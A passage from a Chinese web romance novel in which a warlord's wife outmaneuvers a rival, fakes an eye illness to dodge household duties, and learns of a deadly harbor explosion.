她想把宋知渝供出来,眼睛看过去——宋知渝摸着自己的肚子,意味深长地说:“陈小夫人,来者是客,你确实做得不对。”
陈小夫人:“…………”
不敢说了,因为宋知渝已经演出不知情的样子,她要是把她给供出来,她一定会否认。
而晏山青肯定会相信怀着他孩子的女人,那她就是“诬告”,罪上加罪!
陈小夫人悔不当初,恨自己耳根子太软,别人说搭上宋知渝就是搭上督军府,她就是陈家的功臣,能把对牌钥匙从陈老夫人手里接过来,成为陈家真正的当家主母。
所以她才对宋知渝言听计从,她暗示她拦下江浸月,她就去拦下江浸月,还觉得出了事有她顶着,没想到宋知渝这么无耻,一出事就把她撇了,让她自己承担后果!
她在心里暗暗记了宋知渝一笔,悔不当初地说:
“督、督军,这是误会……以前办宴会时,有人没请帖却自称某某某来骗吃骗喝,所以我让小厮查请帖,没想到这次拦错了夫人……”
晏山青轻轻吐出一口烟雾,只问江浸月:“夫人信吗?”
江浸月抬眸与他对视:“督军信,我便信。”
晏山青弹掉烟灰:“我这个人呢,算账都是见血为止。”
所有人面色骇然!
他要为江浸月大开杀戒吗?!
晏山青抬手打了个响指。
门外冲进来一队亲卫兵,整齐列队,刷刷刷地将背在肩上的长枪举起来,瞄准宴会厅里的人!
宾客们被十几条黑乎乎的枪口对着,吓得纷纷尖叫逃窜。
晏山青冷冽地说:“敢动一步,即刻开枪。”
宾客们又都不敢动了,僵在原地十分惶恐,有些胆小的已经啜泣起来,还有人求饶说自己什么都没说,什么都没做,只是来吃席,督军开恩啊。
陈老夫人差点昏厥,颤颤巍巍地说:“督军,督军……”
晏山青看都没看她,漫不经心道:“就从陈小夫人开始吧。”
枪口齐刷刷转向陈小夫人!
陈小夫人扑通一声,双膝着地,痛哭流涕:“夫人,夫人我真的知道错了,就看在、就看在我刚生完孩子,孩子才满月的份上,饶我一次吧,求您了……”
她对着江浸月连连磕头。
还算聪明,知道现在只有江浸月能让晏山青收回成命,所以去求江浸月,还搬出孩子,击中同为女人最柔软的点。
江浸月其实也没想要她的命,这点小事儿不至于。
但晏山青未必。
他要扬刀立威,让他们知道轻重——这里是南川,他晏山青的南川,在他的地盘上,对他的夫人不尊不敬,是要造反吗?
江浸月伸手拉住晏山青的衣摆:“督军,就看在刚满月的孩子的份上,这次算了,也别见血了,不吉利。”
晏山青给足了她面子:“夫人说算了,我就算了,否则我今天一定要让这些人见识一下,血有多红。”
陈小夫人哭着说:“多谢夫人,多谢夫人。”
晏山青随意地抬了下手,卫兵们立刻收起长枪,在院子两边列队。
宾客们只觉得自己三魂没了七魄……
陈老夫人赶忙说道:“督军、督军夫人,您里面请,里面请。”
晏山青将烟头丢在地上,军靴碾灭,臂弯撑了起来:“夫人。”
江浸月知情识趣,挽上他的臂弯,两人一起走上台阶,走向主桌,坐下。
宾客们还不敢动,晏山青抬了一下眼:“要我请你们坐下吃饭吗?”
宾客们连忙都坐下,埋头吃东西,但吃了什么、什么味道,没人在意,满心只有快点结束这顿饭回家,以后再也不敢招惹江浸月了。
他们在今晚,无比清楚地意识到——有些人,无论她的处境怎么样,只要她的身份在他们之上,就轮不到他们拜高踩低、羞辱嘲讽。
否则最后付出代价的,就是自己。
更微妙的是,从晏山青出现到现在,竟然没正眼看过宋知渝。
什么独宠后院的宋小姐、什么宋小姐怀了督军的第一个孩子、什么宋小姐要进晏家做平妻,这一刻都成了笑话。
能坐在晏山青身边的人,只有江浸月!
第33章 你以后要喊我夫君
宋知渝垂在身侧的手紧紧捏住,指甲抠得掌心生疼。
她今晚特意穿了一件红色苏绣旗袍,十分娇艳,现在却成了跳梁小丑!
刚才一直在她身边大献殷勤的夫人小姐们,现在都假装不认识她,根本不敢跟她搭话。
包括陈家人,也都只围着江浸月将功赎罪!
宋知渝心里翻江倒海,却只能故作不在意,微笑着走回自己的位置坐下,维持着最后一点体面。
——没关系,没关系。
江浸月,来日方长,我们慢慢斗!
……
“这道蟹粉狮子头要趁热吃,否则有腥味。”晏山青亲自给江浸月夹菜,还转头对伺候的丫鬟说,“我夫人不会喝酒,换盏热茶来。”
陈小夫人连忙送来了清茶:“夫人请用茶。”
江浸月心里也挺意外。
她知道晏山青肯定会为她出头,毕竟她还顶着“督军夫人”这个身份,在外人面前,他肯定会给她体面。
但她没想到,他竟然对宋知渝不管不问——宋知渝不是还怀着他的孩子吗?连这点面子都不给,这男人还挺无情的。
这场宴会在各怀心事中结束。
陈家人亲自送晏山青和江浸月出门,还给江浸月送上一份赔礼。
江浸月打开一看,是一对种水极好的翡翠玉镯,她识货,这种宝贝,没个几万大洋拿不下来。
她询问地看向晏山青,能不能收?
晏山青似笑非笑:“这点东西赔你在冷风中站的半个小时还少了,喜欢就收下戴着玩。”
陈老夫人忙说:“一点薄礼,请夫人收下,以后有用得到陈家的地方,尽管派人过来说一声。”
陈小夫人也福身道:“夫人手下留情之恩,静茹没齿难忘,以后一定唯夫人马首是瞻。”
陈家知道,今天要不是江浸月开口,以晏山青的阎罗脾气,没那么容易算了,所以记下江浸月这个恩情。
江浸月也算无心插柳地收获了一条人脉——陈家虽然善变,但好歹也是世家,以后一定有用得到的地方。
江浸月也就收下这份信物。
晏山青的司机把车开过来。
江浸月有些犹豫,自己是要上他的车,还是上她自己家的车?
晏山青坐进后座,主动挪到里面,将外面的位置让给她:“夫人,走吧。”
江浸月见状便直接上车。
车子开动起来,夜风从窗户涌入,晏山青神清气爽,坐姿也变得松弛。
江浸月询问:“督军不等等宋小姐吗?”
“她自己有车。”晏山青说。
江浸月欲言又止:“我也有车。”
晏山青扭头看向她:“什么意思?”
江浸月轻轻眨眼:“我的意思是,我可以坐自己的车回江家,督军不用特意绕路送我一程,可以早点回督军府休息,督军看起来挺累的。”
晏山青轻扯了一下嘴角:“多谢夫人关心,但我说要送你回江家吗?夫人的探亲假结束,该回家了。”
江浸月看了他一会儿,慢吞吞“哦”了一声。
晏山青看她这副“逆来顺受”的样子,忽然伸手,捏住她的下巴,仔仔细细看她这张脸。
他前几天会生江浸月的气,说白了,就是气她三心二意。
她心里是有亡夫还是有义兄他懒得管,但她在他面前,就得给他做出眼里心里都只有他一个人的样子。
他是她夫君,这是她该做到的。
做不到,那就别怪他给她教训。
但他想教训她是他的事,苏拾卷说江浸月因为被他送回娘家的事在宋知渝面前抬不起头,被宋知渝欺负哭了,他那点气就变成不爽。
旁人凭什么用他的事来欺负她?又凭什么因此怠慢她?连请帖都不给她下,他晏山青的夫人轮得到他们拜高踩低?
江浸月是督军夫人,是凌驾在他们头上的人,他们还挑上了,真是不知所谓,所以他才让副官去江家送信,让她来参加宴会——别人没有资格无视他的夫人。
晏山青问一句:“你那天哭什么?”
江浸月被他问得一懵:“我?哭?”
她什么时候哭过?
晏山青指腹摩挲着她的下巴:“苏拾卷在裁缝铺遇到你,说你哭了,因为什么?宋知渝挑衅你,觉得委屈所以哭?还是听说她怀孕,而你却被我送回娘家,心理不平衡所以哭?”
“?”
江浸月这才明白过来,原来是苏拾卷误会了!
她没哭,她只是眼睛不舒服。
苏拾卷居然把这种小事告诉晏山青,晏山青还信以为真,难怪会突然让副官去给她送请帖,原来是要“弥补”她。
“……”
江浸月一时间也不知道,是该配合他的误会,免得他太尴尬;还是实话实说自己没那么娇弱?
还没想出来,眼睛的酸胀感又涌了上来,江浸月情不自禁眨眼,眼眶一下就红了起来。
晏山青皱起眉:“我又没说你什么,你哭什么?就那么娇贵?从前沈霁禾是有多惯着你?”
没等江浸月回答,他就放开她的下巴,面无表情道,“不管他有多惯着你,你都给我把这个娇气的毛病改掉,我没那么多时间哄你。”
“……”
这男人说话怎么这么难听?
江浸月选择让他尴尬:“不是的督军,我没有哭,现在没哭,裁缝铺也没哭——我这几天眼睛不舒服,用一段时间眼就要阖上休息一下,要不然就会红眼睛。”
晏山青:“…………”
苏拾卷这个废物!
江浸月微笑:“但督军说得也对,我的确觉得委屈。”
“……”晏山青点了根烟,倒要听听她还能瞎扯什么。
“我知道督军是因为生我的气,所以才把我送回娘家反省,但我不知道督军为什么生气?”
江浸月的确没想出来,“是我枪开得不好吗?可我要是开得好,就不用请督军教我了,那我本来就不好,督军却因此生我的气,我不该觉得委屈吗?”
晏山青的手搁在车窗,烟雾被风卷着远去,他看着这个如月皎皎的女人,没露出什么情绪。
“还是因为沈鹤?”江浸月一点点分析。
“沈鹤是老幺,从小就被家人惯着,确实很任性,但请督军换位思考,两个月前我还是他的大嫂,两个月后就变成别人的妻子,换您,您能心平气和地面对我吗?”
“所以他‘突发恶疾’,我觉得也是能理解的,而且最关键的是,他想发病,与我何干?督军因为他生我的气,我觉得更委屈了。”
晏山青听她这一句又一句的,没一句说到点上,但现在也懒得跟她翻旧账了。
弹掉烟灰:“夫人想多了,没生你的气,说了只是送你回娘家团圆几天,没那么复杂。”
江浸月看了看他,她已经摸索出规律了,他貌似亲近实际疏离地喊她“夫人”的时候,说出的话就没一句是真心。
他在跟她演,她便也配合他的演:“好的,督军说什么就是什么。”
晏山青突然来了兴致要跟她理论:“别人喊我督军也就算了,你喊什么督军?”
江浸月云里雾里:“不喊督军,喊什么?”
“你喊沈霁禾也是督军?”
“……”
不是,她就喊“霁禾”。
不是,他最近为什么总提起沈霁禾?
这个问题江浸月回答不了,干脆做出一副不懂的样子。
晏山青漫不经心道:“我喊你夫人,你应该喊我夫君才对。”
江浸月猝不及防被夜风呛到,咳了起来,什么、什么夫君??
第34章 我脱够了,轮到夫人了
晏山青本来也觉得这个称呼文绉绉的,听着就让人起鸡皮疙瘩,但看她这么不自然,他突然就觉得很不错。
“就这样定了,以后你就喊我夫君。”
……江浸月觉得,自己哪怕是再被他遣送回娘家一次,也喊不出这两个字。
车子开到督军府,两人一起下车往里走。
走着走着,江浸月发现又有一个选择题落到她面前——她要不要请晏山青留宿垆雪院?
于理,都这个时间了,哪怕是客人也要请对方留宿家中,何况他们还是夫妻,她总不能一点表示都没有,就这么目送他回自己的院子,或者去宋知渝的院子吧?
于情,他们现在气氛不错,请他到垆雪院,兴许今晚就能圆房。
既然于情于理都应该这么做,江浸月主动上前,挽住晏山青的手臂。
晏山青先垂眼看她的手,再沿着手落到她脸上。
江浸月望着他:“督军今晚在宴席上没吃什么,要不到垆雪院,我给督军煮一碗南川的汤圆?”
晏山青知道她想干什么了。
将胳膊从她手里抽出来,然后一把揽住她的腰。
江浸月睫毛扇动了一下,晏山青慢条斯理地说:“好啊。”
看看过了几天,她撩拨人的本事,有没有长进?
督军府很大,每个院子都有小厨房。
江浸月找了面粉,加了水和成面团,又搓成小丸子下水煮,水开了加点白糖,又加了点桂花,闻见淡淡香气,她便熄了火,盛了一碗端回房间。
晏山青在她煮汤圆的时间里已经洗完了澡,还换了舒适的衣物。
上衣是洗得略微发黄的白衬衫,袖口竟然还有火药烧过的痕迹;下着一条半新不旧的军裤,双腿自然分开,坐在床边,手上随意地翻着她的书。
江浸月到他面前:“督军尝尝。”
晏山青抬起眼:“你叫我什么?”
“……汤圆用面粉做的,不容易消化,怕督……军吃多了晚上胃里不舒服,所以煮得不多。”
转移话题。
她真的叫不出“夫君”这两个字。
晏山青接过碗,放在床边的椅子上:“烫,晾一晾。”
又指着她的书,“这些是你从国外带回来的?国外的伤药跟国内的不一样。”
江浸月惊讶:“督军看得懂英文?”
“看不懂,但不是有图么,猜个七八成。”
只是看图就能猜这么准,晏山青的确比寻常人更聪明。
江浸月如实回答:“是。”
晏山青又问:“你觉得国外的药好用,还是国内的药好用?”
江浸月道:“国外的药见效快但药力过猛。比方说这种止血药,它止血快是以破坏人体细胞为代价,治好之后反而会让人更虚弱;而国内的止血药会兼顾调理,虽然见效慢,但没有后遗症。”
晏山青一针见血地指出来:“如果在危急的战场上,大量失血会让士兵没命,这种快速止血反而能救人一命。”
江浸月赞同:“是的,所以各有利弊,需要按照实际情况来使用。”
她刚才一边说话,一边坐到床沿,两人共看一本书,肩膀与肩膀离得很近,晏山青能闻到她发间的淡淡香气。
冷不丁问:“所以你去军营找我,说要帮我止血,就是想用这种西药?夫人下手这么狠?”
江浸月愣了一下,立刻转头要解释。
晏山青一把丢开书,将她整个人压到床垫上,江浸月的呼吸骤然停滞!
晏山青凌驾在她身上,用指背揩过她的脸,接着滑到下巴,又滑到脖颈,最后停在旗袍最上的那颗纽扣上。
深夜、床铺、夫妻,不发生点什么都不正常。
江浸月并没有躲闪的意思:“督军要安寝了吗?”
晏山青低沉道:“夫人这么伺候夫君安寝的?”
意思是要她主动?江浸月便伸手去碰他的纽扣。
解开一颗、两颗……男人强壮结实的胸肌隐隐约约展露在她面前,蓬勃的热气烘烤着江浸月的脸,她莫名觉得喉咙有些干。
还要继续往下解的时候,晏山青一把扣住她细白的手腕:“我脱够了,接下来要看夫人的诚意。”
也就是,要她脱。
江浸月只是怔了一下子,便开始解自己旗袍的盘扣。
她没有忸怩,也没有羞涩,更没有抗拒,晏山青看着她白皙的手指与墨绿色的盘扣纠缠,呼吸微沉。
只是才解开两颗,院子里就传来一阵嘈杂声,似乎是有人要强行闯进来,被明婶阻拦了:
“嬷嬷!您不能进去!督军和夫人都已经安歇了!”
“别拦我!是老夫人出事了!”
来人正是老夫人身边的嬷嬷,跑到门前拍门喊道,“督军!督军!您快去寿松堂看看啊!老夫人从下午开始呕吐腹泻,喝了汤药后非但没有好转,现在都晕过去了!”
!屋内旖旎的气氛瞬间荡然无存!
晏山青眼底的情欲迅速褪去,立刻从江浸月身上起来,动作利落地系好自己的衬衫纽扣。
江浸月也飞快坐起身,指尖将那两颗盘扣重新扣好,晏山青转身就要走,江浸月一把拉住他的手臂:
“我同督军一起去!”
两人穿戴整齐赶到寿松堂时,大夫已经到了,正在为昏迷的老夫人施针。
晏山青眉头紧皱:“怎么回事?下午就不舒服,为什么不来禀报我?”
屋内的丫鬟婆子都瑟瑟发抖。
那个嬷嬷回道:“是、是老夫人不许我们声张,说督军在外公务繁忙,绝对不能用这种‘小事’打扰您……”
晏山青不耐烦地一挥手,让无关人等都退到外面去。
大夫施针完毕,老夫人悠悠转醒,但脸色依旧蜡黄,神情也非常虚弱,连话都说不出来。
晏山青询问大夫:“情况怎么样?”
大夫回道:“督军,老夫人应该是误食了不干净的东西,引发急症,呕吐腹泻导致元气亏空,这才晕厥。万幸救治及时,已经没有大碍。只是老夫人年事已高,受了这个苦,务必静心休养一段时日,切忌再劳神操心。”
“多谢大夫。”晏山青示意副官跟着大夫去开药。
他们前脚刚出门,宋知渝后脚就跑进来,满脸泪痕,直接扑到老夫人的床前就是一顿悲戚:“老夫人,老夫人!您怎么样?您别吓知渝啊!”
她哭得情真意切,还抓着老夫人的手摇晃,江浸月不由得提醒道:“宋小姐,大夫说了,母亲要静养,你别摇她了。”
宋知渝没理江浸月,扭头看向晏山青,泪眼婆娑地哀求:“青哥,让我留下来照顾老夫人吧,我一定寸步不离,精心侍奉,直到老夫人康复!”
晏山青看了她一眼,又转向虚弱的老夫人,倒是点了头:“行,你就留下伺候母亲。”
宋知渝喜形于色:“谢谢青哥!”
江浸月心下明了,她这么做,既是真心希望老夫人快点好起来继续做她的靠山,但更重要的是挽回今晚在宴会上丢的颜面吧?
晏山青想起什么,忽然看向江浸月:“母亲需要静养,后院的事不能再让她操心了。从明天起,后院一切事宜,暂由夫人掌管。”
此话一出,满堂震惊——包括江浸月!
她完全不知道晏山青会有这个安排!
宋知渝更是错愕地看着晏山青,几乎不敢相信自己的耳朵,他要让江浸月管家?!
第35章 管家权是烫手山芋
丫鬟婆子们则纷纷交换了一个眼神。
前几天督军把夫人遣送回娘家,还以为是厌弃她了要离婚,没想到今晚非但把人带回来,现在还要给掌家权……
俗话说落叶知秋,众人已然明白,夫人今非昔比。
晏山青与江浸月一直等到老夫人又服了一次汤药,沉沉睡去,确认无事后才一起离开寿松堂。
夜深露重,两人走在寂静的廊下。
江浸月迟疑了一下,还是开口道:“督军,您让我管家……是不是有些不合适?”
晏山青看她一眼:“哪儿不合适?你是我明媒正娶回来的督军夫人,执掌中馈,名正言顺。”
“我是怕‘临危受命’,万一出了纰漏,会惹人笑话。”江浸月抿唇。
晏山青哼笑一声:“你又不是没管过督军府,怎么会出纰漏?还是说,你不想管,想让我交给知渝来管?”
后半句他是故意这么说的。
江浸月幽怨地看了他一眼,果然还是接下了:“浸月必定尽力而为,不负督军所托。”
晏山青勾唇:“不早了,夫人回去歇息吧。”
说完他就往山水居的方向而去。
毕竟刚才的气氛已经被打断了,不可能再回去继续,现在当然是各自回房睡觉。
……
江浸月回到垆雪院,明婶已经听说了消息,满脸喜色地迎上来:
“夫人,督军让您管家,就是认可您了!这要是让老爷夫人知道,他们也能放心了!”
江浸月却没什么喜色,脱了外套在床沿坐下,神情平静:“别高兴得太早,这个管家权是烫手山芋。”
明婶不理解:“怎么会是烫手山芋呢?这是天大的好事啊!”
“老夫人并未认可我这个儿媳,我趁她病中接走管家权,在她看来,就是趁火打劫,只会让她更加厌恶我,更想对付我。”
江浸月想得透彻,“哪天我要是跟她起了冲突,你觉得督军会为了我站在他母亲的对立面吗?”
明婶一愣:“可是这个管家权是督军自己给的。”
“但这后宅是以老夫人为尊。”
江浸月淡淡道,“过段时间老夫人身体好了,管家权还是要回到老夫人手里……但我要是说还就还了,外人就会说我江浸月无能,坐不稳督军夫人的位置,连到手的东西都守不住。”
明婶没想到会这样啊:“这接也不是,不接也不是,岂不是进退两难吗?”
江浸月琢磨了一会儿,眼里闪过一丝精明:“未必,想脱身还有两条路。”
“第一条是让老太太打心底里认可我,等她病好了,我主动把管家权还回去,再跟她演一出‘母慈女孝’,让她主动把管家权给我。但——”
她可笑地摇头,“这条路,根本不可能。”
“那第二条呢?”明婶赶紧追问。
江浸月笑了笑,抬手指了指自己的眼睛:“第二条路,就是从一开始,不接这个烫手的活儿。”
明婶一下子反应过来:“您的意思是……”
“老太太病了,得好好歇着。”江浸月语气很轻,“我也能‘病’啊,我也要好好歇着。”
于是。
第二天一早,明婶就慌里慌张地跑到山水居报信,说夫人昨天从寿松堂回来后,眼睛就疼得厉害,今天早上起来,居然已经看不清东西了!
晏山青皱着眉赶到垆雪院,就见江浸月坐在床上,两只眼睛又红又肿,布满了吓人的红血丝,连瞳孔都没办法集中。
“怎么回事?昨天晚上不是还好好的吗?”晏山青语气沉了下来。
江浸月有气无力的,声音也有点哑:“督军忘了?我昨晚在车上就跟您说了,我这几天眼睛有问题,昨晚可能是晚睡,用眼过度,早上起来就变成这样。”
晏山青立马让人把大夫请来。
大夫仔细把了脉,从脉象上看没什么急病重病,但江浸月那双眼睛又红又肿,任谁来了都不敢说没事,只能斟酌着道:
“夫人这是肝火太旺,再加上用眼太多,引发的急性眼疾。得用热毛巾热敷,闭着眼睛养神,或许能慢慢好起来。”
江浸月一听,脸上立刻露出着急之色:“那我能看账本吗?”
“账本?”大夫斩钉截铁道,“当然不行!您现在什么都不能看!要是再硬撑,怕是会落下病根,影响以后看东西。”
江浸月咬唇:“可母亲病着,督军把家里的事都交给我,我哪能歇息啊……”
晏山青有点没看出来,她这会儿是真情还是假意?
皱着眉打断她:“管家的事我会找别人,你养好你的眼睛就行。”
江浸月追问:“督军是要交给宋小姐管吗?要是这样的话,那我还是……”
“我不交给她!”晏山青气笑,这女人,都这样了还在以退为进,“我亲自管,行了吧?”
江浸月这才低下头,嘴角偷偷弯了一下,再抬起来时,又变成了温顺又愧疚的样子:“那只能麻烦督军了,要是有我能帮上督军的地方,您尽管说。”
晏山青只是“嗯”了一声,转身离开垆雪院。
房门一关,江浸月便和明婶对视一眼,两人的嘴角都忍不住弯了起来。
老夫人这一病,就在床上躺了五天下不了地。
江浸月也“病”了五天,没出过房门。
晏山青每天都会先去寿松堂看一眼老夫人,再来垆雪院看一眼“病弱”的妻子,把府里需要决断的事情处理了,这才出门去军政处。
到了第六天,老夫人总算能让人扶着下地走几步,江浸月的眼睛也“好转”了,她借口要找大夫复查,带着明婶出了门。
看完大夫,江浸月却没急着回督军府,这段时间在房里可把她闷坏了,她让车开到码头,看着一望无际的海面,吹着带点腥味的海风,觉得心情都舒畅了不少。
明婶去买来了她小时候最爱吃的糖糕和芝麻饼,笑着递给她:“夫人,您真是聪明。既不用接那烫手山芋,府里上下也都知道了您现在地位不一样,连督军都天天来看您,关心得很。我看呐,这一切都在往好了走。”
江浸月正要说什么,远处传来一阵悠长的轮船鸣笛声,是有货船要靠岸了。
她下意识望过去,看到那艘大船的船身上刷着一个醒目的“杨”字。
“那好像是大嫂娘家的船?”江浸月眯着眼看。
明婶一看:“哟,还真是。这年景,能出动这么大货船的,估计也就桥头杨家了吧。”
但码头上等着干活的临时工们,看到是杨家的船,却都互相看看,没什么人主动过去。
江浸月和明婶看了会儿,大概知道是为什么,都有些无奈地笑笑,没有再看,上车离开。
回到督军府,江浸月发现晏山青已经在垆雪院里等着她了。
第36章 要跟督军一辈子过下去
江浸月走进去,自然而然地问候:“督军。”
晏山青抬起头,目光落在她眼睛上:“眼睛还没好利索,复查怎么不叫大夫到家里来?”
江浸月走到他旁边坐下:“多眺望远处,对眼睛的恢复也有好处。而且大夫说好多了,没什么大碍了。”
晏山青只是顺路过来看看,看完就起身:“那就好。”
江浸月以为他要去寿松堂,便跟着站起来:“督军是要去看母亲吗?我跟你一块去吧。”
晏山青却忽然停下脚步,转过头,眼神有些微妙地打量着她。
他突然明白过来,这女人好像是故意病这一场,故意躲开管家这个麻烦事?
江浸月还没意识到自己被看穿了,见他盯着自己,疑惑地问:“督军,怎么了?”
晏山青收回目光,语气如常:“我现在不是去看母亲,要出门。等晚上回来,再带你去给她请安。”
江浸月不疑有他,点头:“好。”
到了晚上,晏山青一来,准备就绪的江浸月便起身说:“走吧督军,去看母亲。”
谁知晏山青反手关上门,江浸月一愣!
晏山青朝她走去,不给她反应的时间,直接将她压在桌子上!
!江浸月猝不及防,双手下意识抵住晏山青的胸口,倏地抬起头,对上晏山青冷峻的眼神。
她心跳猛地加速,身体僵住一动不敢动:“……督军?”
晏山青低下头,凑近她的脸,声音低沉:“不着急,先让我好好看看你的眼睛。”
气氛一下子变得暧昧又危险。
江浸月声音有点发紧:“已经、已经没什么大碍了……”
晏山青盯着她黑白分明的眼眸,慢慢道:“确实没什么大碍了,那正好,我们来算算账。”
“……算什么账?”
“你骗我的账。”
晏山青手指捏住她的下巴,“装病推卸管家权,嗯?”
江浸月心里一咯噔,嘴上还想挣扎一下:“我没有装病……”
晏山青就那么定定地看着她,也不说话,眼神仿佛能看透一切。
江浸月顶不住这压力,败下阵来,低下头老实认错:“我不是装病,但确实……顺水推舟,不想接管家权。我要是这时候接了,母亲肯定会更讨厌我,那我以后的日子还怎么过?我是要跟督军长长久久过下去的,不能这么早就把路走绝。”
她最后那句话,无论是真心还是假意,都让晏山青心里动了下。
他松开手,语气淡淡,依旧带着警告:“下次有话直说,再对我耍这种小心眼,看我怎么收拾你。”
江浸月连忙点头:“知道了。”
晏山青放开她,整理了一下衣服:“不是要去看母亲?走吧。”
江浸月跟在他身后,小声说:“母亲现在好转了,说不定正要找我算账呢。”
晏山青哼笑:“算什么账?你又没管她的家。”
“算之前陈家宴会上,督军只护着我,没管宋小姐的账。宋小姐这段时间在母亲床前伺候,还不知道说了我多少‘好话’。”
晏山青回头瞥她一眼:“有我在,你怕什么?”
两人一起去寿松堂看了老夫人,气氛果然有些不和谐,但好在晏山青在场,老夫人也没多说什么。
坐了一会儿,两人便回了垆雪院。
江浸月心情不错,又主动给晏山青做了一碗桂花酒酿小丸子当夜宵。
晏山青接过碗,拿起勺子,正打算吃两口。
结果院子外传来副官急促的声音:“督军!码头出事了!发生爆炸!”
晏山青动作猛地一顿,眼底瞬间没了暖意,他立刻放下碗,站起身就往外走,一句废话都没有:
“备车!”
“是!”门外副官立刻应声。
晏山青大步流星就要出门,江浸月及时喊住他:“督军!”
晏山青回头。
江浸月端起那碗还没动过的桂花丸子递到他面前:“今晚不知道要忙到几点,您还是先吃点东西垫垫肚子吧。”
晏山青看着灯光下她清晰温柔的眉眼,顿了一秒,接过碗,几口就把丸子吃完,然后把碗塞回她手里:
“味道不错。”
“那等督军忙完了,再来垆雪院吃。”
晏山青看了她一眼,点了下头,然后迅速拉开门走出去,也没忘记反手替她把门关严实。
江浸月低头看着空碗,一朵小小的桂花粘在碗壁上。
经过这段时间的相处,她觉得自己有点摸到晏山青的脾气了——
一、他喜欢女人弱,她“哭”了,他就主动和好;
二、但又不能太弱,她去军营找他谈判、在宴会上救癫痫宾客,以及跟他谈医书、坦白自己推卸管家权的原因,他看她的眼神都跟平时不一样;
三、他吃软不吃硬,她贤惠地邀请他到垆雪院过夜,又给他煮汤圆喂饱他的胃,他就和颜悦色;
这三点总结起来就是要知情识趣,该示弱的时候示弱,该聪明的时候聪明。
可能还有第四点,那就是他喜欢有话直说,因为他敏锐过人,在他面前耍小心眼都会被他看穿,反而会惹他厌烦,不如直接点。
江浸月大概知道以后要怎么跟他相处了。
“督军夫人”是份工作,她把晏山青当成东家,小心对待,只要确保他不会对江、沈两家动手,她就算没白干。
……
次日早上,辛儿来为江浸月梳妆打扮。
江浸月问她:“昨晚码头爆炸的事,你有去打听吗?”
辛儿下意识道:“有啊有啊!”
答完看见镜子里江浸月似笑非笑的神情,心儿又不确定地问,“……夫人,这件事我能打听吗?”
她连忙竖起三根手指,做出发誓的样子,“如果、如果我不能打听,那我就是不知道!”
“可以打听。我笑是因为,我猜得没错,你果然有去打听。”
小丫头虽然不聪明,但还挺爱凑热闹的,倒是能成为她的情报来源。
“码头怎么回事?”
辛儿最喜欢说这些杂事,立马绘声绘色地说起来:“是一艘运汽油的船,跟一艘运丝绸布料的船,在鱼货码头相遇,谁都不肯让着谁。”
“丝绸船觉得自己是本地船,强龙还压不过地头蛇呢,凭什么要它让外来船?而运油船觉得自己运的是南川重要物资,你一个运布船凭什么敢不让着我?”
“双方僵持不下,丝绸船一生气,就直接撞上了汽油船,两艘船都爆炸了。”
江浸月听得直皱眉。
“大火烧了一整夜,把这两艘船,还有同样停靠在码头的其他货船,都给烧没了,听说还死了不少人呢!”
第37章 抬进门,做平妻
天灾无法避免,然而这次是人祸。
江浸月心情沉重,为那些无辜死难的百姓。
南川轻工业发达,盛产棉布麻布、丝绸锦缎等布料,尤其是南锦更是闻名天下,这也是南川经济的主要来源。
而重工业和矿产则是南川所稀缺的,都要依赖外地货运,汽油便是其中之一……东湖倒是矿产丰富,油啊铁啊都不缺。
江浸月突然想起昨天在码头看到的杨家货船,隐隐有些不安,转头问:
“运布的船是哪家的?”
辛儿:“好像是杨家。”
江浸月脸色骤变:“桥头杨家吗?”
辛儿挠头:“好像是诶……”
糟了。
桥头杨家是大嫂的娘家。
这么大的事,杨家肯定要吃瓜落,万一城门失火殃及池鱼,连累江家,那就完了。
江浸月电光火石间想好应急办法,迅速去厨房,找出猪肉等食材,开始和面。
辛儿看得一愣一愣的:“夫人,您要干什么?要吃早餐吗?厨房都备好了。”
江浸月说:“我自己做一些包子。”
“现在吗?那会耽误给老夫人请安的。”
江浸月说:“我这几天最好避着老夫人。”
辛儿不理解:“为什么呀?”
当然是因为昨晚看老夫人的样子,就是要替宋知渝撑腰,灭灭她的威风,只是碍于晏山青在场才暂时忍住,可她要是独自去面对她,肯定就没好果子吃。
辛儿说:“可您要是不去给老夫人请安,老夫人肯定会怪罪您不懂事的。”
“不会的。”
江浸月能让她想怪也没办法怪。
“你去大厨房拿点猪油给我。”
辛儿只好应了是,转身离开。
明婶进了厨房:“夫人,您这是……”
江浸月却对她说:“你回一趟江家,告诉大嫂码头爆炸,涉及杨家。”
明婶一愣,连忙点头。
江浸月吐出一口气,开始和面。
昨天她和明婶在码头看到,没有船工愿意去帮杨家卸货就猜到,杨家仗势欺人的老毛病又犯了,可也没想到会出这么大的事……
江浸月前脚拎着刚做好的包子出门,后脚老夫人就在寿松堂发了火:
“都什么时候了?我那个好儿媳还没有起床给我请安吗!”
门外的丫鬟赶忙进来说:“老夫人,夫人一早就出门了。”
老夫人皱眉:“出门?她去哪里?”
“管家说督军昨晚在垆雪院吃了夫人亲手做的汤圆觉得好吃,夫人想着督军昨晚辛苦了一夜,肯定没时间吃东西,所以一大早起来又做了早餐,亲自送去了码头。”
“……”
老夫人哼了一声,“她倒是分得清楚轻重缓急。”
给她请安,自然没有关心、服侍晏山青来得重要。
身边的嬷嬷说:“督军这段时间很护着夫人,要不是她的眼睛出问题,督军就连管家权也给了她……老夫人,督军该不会是喜欢上夫人了吧?”
老夫人摩挲着一串翡翠佛珠,脸上看不出喜怒:“不喜欢,他会把她娶回来,放在督军夫人的位置?”
嬷嬷犹豫着说:“可知渝小姐怀孕了,她是您心尖上的人,您不是还想着抬她当平妻吗?现在夫人得了宠,她会不会不同意啊?”
老夫人脸色骤沉,手中的佛珠猛地砸向桌面:“那就要看山青给她的宠爱,有没有到能支撑她违背婆婆意思的程度!”
……
渔货码头临时指挥所里,晏山青和苏拾卷正在分析情况。
副官掀开帐篷帘子走进来:“督军。”
晏山青抬了下头:“什么事?”
副官说:“夫人说要来给您送早餐。”
晏山青:“哪个夫人?”
苏拾卷好笑:“你拢共就一位夫人。”
帘子又被人掀开,一身月白色旗袍的江浸月拎着红漆食盒站在那儿:“不是宋小姐,督军很失望吗?”
她说这句话时,脸上带着淡淡笑意,揶揄的成分更多。
晏山青没想到她会来给自己送吃的,手指揉了揉鼻梁,主动走向她:“昨晚不是很晚才睡吗?还起得这么早?”
他转移话题,江浸月自然也不会抓着不放。
“想着督军忙了一宿,肯定没有时间吃饭,所以做了几个包子,送来给督军当早餐。”
说着,她将食盒放在桌上打开。
一屉热腾腾的包子裹着鲜肉的香味席卷整个帐篷,直接将人的馋虫勾起来。
晏山青看向她:“你亲手做的?”
“是啊。”
苏拾卷立刻凑过来:“好香啊。有我的份吗?”
